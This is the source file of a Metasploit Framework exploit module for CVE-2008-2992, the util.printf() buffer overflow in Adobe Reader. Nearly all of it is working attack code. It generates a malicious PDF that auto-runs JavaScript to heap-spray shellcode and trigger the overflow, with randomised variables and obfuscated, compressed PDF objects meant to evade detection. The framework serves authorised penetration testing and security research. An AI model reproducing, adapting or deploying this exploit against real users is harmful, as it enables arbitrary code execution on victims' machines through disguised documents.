root/framework3/trunk/modules/exploits/windows/fileformat/adobe_utilprintf.rb

###
## This file is part of the Metasploit Framework and may be subject to
## redistribution and commercial restrictions. Please see the Metasploit
## Framework web site for more information on licensing and terms of use.
## http://metasploit.com/framework/
###

require 'msf/core'
require 'zlib'

class Metasploit3 < Msf::Exploit::Remote

        include Msf::Exploit::FILEFORMAT

        def initialize(info = {})
                super(update_info(info,
                        'Name'           => 'Adobe util.printf() Buffer Overflow',
                        'Description'    => %q{
                                        This module exploits a buffer overflow in Adobe Reader and Adobe Acrobat Professional 
                                        < 8.1.3. By creating a specially crafted pdf that a contains malformed util.printf()
                                        entry, an attacker may be able to execute arbitrary code.
                        },
                        'License'        => MSF_LICENSE,
                        'Author'         => [ 'MC', 'Didier Stevens <didier.stevens[at]gmail.com>' ], 
                        'Version'        => '$Revision$',
                        'References'     => 
                                [
                                        [ 'CVE', '2008-2992' ],
                                        [ 'OSVDB', '49520' ]
                                ],
                        'DefaultOptions' =>
                                {
                                        'EXITFUNC' => 'process',
                                },
                        'Payload'        =>
                                {
                                        'Space'         => 1024,
                                        'BadChars'      => "\x00",
                                },
                        'Platform'       => 'win',
                        'Targets'        =>
                                [
                                        [ 'Adobe Reader v8.1.2 (Windows XP SP3 English)', { 'Ret' => '' } ],    
                                ],
                        'DisclosureDate' => 'Feb 8 2008',
                        'DefaultTarget'  => 0))

                        register_options(
                                [
                                        OptString.new('FILENAME', [ true, 'The file name.',  'msf.pdf']),
                                ], self.class)

        end

        def exploit 
                # Encode the shellcode.
                shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
                
                # Make some nops
                nops    = Rex::Text.to_unescape(make_nops(4))

                # Randomize variables
                rand1  = rand_text_alpha(rand(100) + 1) 
                rand2  = rand_text_alpha(rand(100) + 1) 
                rand3  = rand_text_alpha(rand(100) + 1) 
                rand4  = rand_text_alpha(rand(100) + 1) 
                rand5  = rand_text_alpha(rand(100) + 1) 
                rand6  = rand_text_alpha(rand(100) + 1) 
                rand7  = rand_text_alpha(rand(100) + 1) 
                rand8  = rand_text_alpha(rand(100) + 1) 
                rand9  = rand_text_alpha(rand(100) + 1) 
                rand10 = rand_text_alpha(rand(100) + 1) 
                rand11 = rand_text_alpha(rand(100) + 1) 

                script = %Q|
                var #{rand1} = unescape("#{shellcode}");
                var #{rand2} ="";
                for (#{rand3}=128;#{rand3}>=0;--#{rand3}) #{rand2} += unescape("#{nops}");
                #{rand4} = #{rand2} + #{rand1};
                #{rand5} = unescape("#{nops}");
                #{rand6} = 20;
                #{rand7} = #{rand6}+#{rand4}.length
                while (#{rand5}.length<#{rand7}) #{rand5}+=#{rand5};
                #{rand8} = #{rand5}.substring(0, #{rand7});
                #{rand9} = #{rand5}.substring(0, #{rand5}.length-#{rand7});
                while(#{rand9}.length+#{rand7} < 0x40000) #{rand9} = #{rand9}+#{rand9}+#{rand8};
                #{rand10} = new Array();
                for (#{rand11}=0;#{rand11}<1450;#{rand11}++) #{rand10}[#{rand11}] = #{rand9} + #{rand4};
                util.printf("%45000.45000f", 0);
                                        |
                
                # Create the pdf
                pdf = make_pdf(script)

                print_status("Creating '#{datastore['FILENAME']}' file...") 

                file_create(pdf)
        end

        def RandomNonASCIIString(count)
                result = ""
                count.times do
                        result << (rand(128) + 128).chr
                end
                result
        end
        
        def ioDef(id)
                "%d 0 obj" % id
        end

        def ioRef(id)
                "%d 0 R" % id
        end

        #http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/
        def nObfu(str)
                result = ""
                str.scan(/./u) do |c|
                        if rand(2) == 0 and c.upcase >= 'A' and c.upcase <= 'Z'
                                result << "#%x" % c.unpack("C*")[0]
                        else
                                result << c
                        end
                end
                result
        end
        
        def ASCIIHexWhitespaceEncode(str)
                result = ""
                whitespace = ""
                str.each_byte do |b|
                        result << whitespace << "%02x" % b
                        whitespace = " " * (rand(3) + 1)
                end
                result << ">"
        end
        
        def make_pdf(js)

                xref = []
                eol = "\x0d\x0a"
                endobj = "endobj" << eol
    
                # Randomize PDF version?
                pdf = "%%PDF-%d.%d" % [1 + rand(2), 1 + rand(5)] << eol
                pdf << "%" << RandomNonASCIIString(4) << eol
                xref << pdf.length
                pdf << ioDef(1) << nObfu("<</Type/Catalog/Outlines ") << ioRef(2) << nObfu("/Pages ") << ioRef(3) << nObfu("/OpenAction ") << ioRef(5) << ">>" << endobj
                xref << pdf.length
                pdf << ioDef(2) << nObfu("<</Type/Outlines/Count 0>>") << endobj
                xref << pdf.length
                pdf << ioDef(3) << nObfu("<</Type/Pages/Kids[") << ioRef(4) << nObfu("]/Count 1>>") << endobj
                xref << pdf.length
                pdf << ioDef(4) << nObfu("<</Type/Page/Parent ") << ioRef(3) << nObfu("/MediaBox[0 0 612 792]>>") << endobj
                xref << pdf.length
                pdf << ioDef(5) << nObfu("<</Type/Action/S/JavaScript/JS ") + ioRef(6) + ">>" << endobj
                xref << pdf.length
                compressed = Zlib::Deflate.deflate(ASCIIHexWhitespaceEncode(js))
                pdf << ioDef(6) << nObfu("<</Length %s/Filter[/FlateDecode/ASCIIHexDecode]>>" % compressed.length) << eol
                pdf << "stream" << eol
                pdf << compressed << eol
                pdf << "endstream" << eol
                pdf << endobj
                xrefPosition = pdf.length
                pdf << "xref" << eol
                pdf << "0 %d" % (xref.length + 1) << eol
                pdf << "0000000000 65535 f" << eol
                xref.each do |index|
                        pdf << "%010d 00000 n" % index << eol
                end
                pdf << "trailer" << nObfu("<</Size %d/Root " % (xref.length + 1)) << ioRef(1) << ">>" << eol
                pdf << "startxref" << eol
                pdf << xrefPosition.to_s() << eol
                pdf << "%%EOF" << eol

        end

end